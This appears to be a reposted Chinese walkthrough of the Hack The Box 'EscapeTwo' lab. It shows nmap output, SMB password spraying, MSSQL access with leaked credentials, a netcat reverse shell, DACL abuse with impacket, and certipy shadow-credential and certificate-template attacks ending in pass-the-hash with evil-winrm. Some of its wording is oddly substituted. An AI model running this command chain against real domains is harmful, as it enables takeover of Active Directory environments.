张裕 发表于 2025-4-6 21:00:50

HTB打靶记录-EscapeTwo

信息收集

nmap -sV -sC -O 10.10.11.51
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 14:52 CST
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 69.23% done; ETC: 14:54 (0:00:06 remaining)
Nmap scan report for 10.10.11.51
Host is up (0.64s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT   STATE SERVICE       VERSION
53/tcp   opendomain      Simple DNS Plus
88/tcp   openkerberos-secMicrosoft Windows Kerberos (server time: 2025-04-05 06:34:49Z)
135/tcpopenmsrpc         Microsoft Windows RPC
139/tcpopennetbios-ssn   Microsoft Windows netbios-ssn
389/tcpopenldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:2025-06-08T17:35:00
|_ssl-date: 2025-04-05T06:36:44+00:00; -19m04s from scanner time.
445/tcpopenmicrosoft-ds?
464/tcpopenkpasswd5?
593/tcpopenncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcpopenssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-05T06:36:43+00:00; -19m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:2025-06-08T17:35:00
1433/tcp openms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.10.11.51:1433:
|   Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-04T19:43:03
|_Not valid after:2055-04-04T19:43:03
|_ssl-date: 2025-04-05T06:36:45+00:00; -19m04s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.51:1433:
|   Target_Name: SEQUEL
|   NetBIOS_Domain_Name: SEQUEL
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: sequel.htb
|   DNS_Computer_Name: DC01.sequel.htb
|   DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp openldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:2025-06-08T17:35:00
|_ssl-date: 2025-04-05T06:36:46+00:00; -19m03s from scanner time.
3269/tcp openssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:2025-06-08T17:35:00
|_ssl-date: 2025-04-05T06:36:43+00:00; -19m04s from scanner time.
5985/tcp openhttp          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (91%), Microsoft Windows 10 1903 - 21H1 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-04-05T06:36:08
|_start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -19m03s, deviation: 1s, median: -19m03s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.83 secondssmb攻击

题目形貌给了个账号密码:rose:KxEPkKe6R8su,smbclient连接一下,impacket-smbclient sequel/rose:KxEPkKe6R8su@10.10.11.51
https://raw.githubusercontent.com/F12-F12/markdown/main/20250405183759.png
下载excel,010修改一下文件头,504B0304,修复乐成打开,拿到用户名密码,做一个密码本
KxEPkKe6R8su
0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!用户名怕不全,smb爆一下用户名
https://raw.githubusercontent.com/F12-F12/markdown/main/20250405184424.png
做一个用户表
Administrator
Guest
krbtgt
DC01$
michael
ryan
oscar
sql_svc
rose
ca_svc也可以ldap来收集用户名
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406131049.png
大差不差,smb密码喷洒一下
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406132831.png
获得新凭据:oscar:86LxLBMgEWaKUnBG,测试winrm连不上,切换思绪,之前发现的excel表中有这一组账号密码:sa:MSSQLP@ssw0rd!,nmap也扫出了1433端口有mssql,登录一下,impacket-mssqlclient sequel/sa:'MSSQLP@ssw0rd!'@10.10.11.51
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406134042.png
测试发现有128长度限制,那传个nc.exe上去,反连
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406140208.png
发现新凭据:sql_svc:WqSZAF6CysDQbGb3,使用这个密码去喷洒一下
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406140608.png
获得新凭据:ryan:WqSZAF6CysDQbGb3,winrm连一下
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406140821.png
使用bloodhound收集一下域信息,不过首先得同步一下与目标的时间,使用faketime伪造一下
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406144417.png
上传到GUI中,直接分析ryan用户的关系网
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406145959.png
DACL攻击

ryan用户对ca_svc用户有writeownerer权限,先将ca_svc的所有者修改成ryan
impacket-owneredit -action write -new-owner ryan -target ca_svc -dc-ip 10.10.11.51 sequel/ryan:WqSZAF6CysDQbGb3
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406151904.png
在利用dacl将ryan的权限修改成FullControl
impacket-dacledit -action write -rights FullControl -target ca_svc -principal ryan -dc-ip 10.10.11.51 sequel.htb/ryan:WqSZAF6CysDQbGb3
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406152504.png
注意以上两步需要连贯快速的执行,不然第二步大概会失败
Shadow Credentials Attack (ESC4)

ESC4 滥用 Active Directory 帐户的密钥凭据属性,允许攻击者使用基于证书的身份验证绕过以其他用户身份进行身份验证。
通过ca_svc所属用户组Cert Publishersc推测的攻击思绪......正常人能想到吗?此攻击将向 ca_svc 添加恶意密钥凭据,并允许 Ryan 使用证书而不是密码以 ca_svc 的身份进行身份验证,实在就是可以获取ca_svc的NTLM HASH凭据
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406154404.png
这里注意都要faketime一下,要不然获取TGT会失败,这里找证书漏洞模板
certipy-ad find -u 'ca_svc' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -target 10.10.11.51 -stdout -vulnerable
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406154811.png
使用这个模板可以以管理员身份请求dc,先修改一下模板
certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406155844.png
再请求Administrator获取证书
https://raw.githubusercontent.com/F12-F12/markdown/main/20250406155927.png
使用该证书去请求拿到Administrator的hash
certipy-ad auth -pfx administrator.pfx -ns 10.10.11.51 -debug
https://raw.githubusercontent.com/F12-F12/markdown/main/e71a75295ca2b521ad00ea0cb1e1bc93.png
winrm登录管理员
evil-winrm -i 10.10.11.51 -u Administrator -H ?????????????
拿到flag

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: HTB打靶记录-EscapeTwo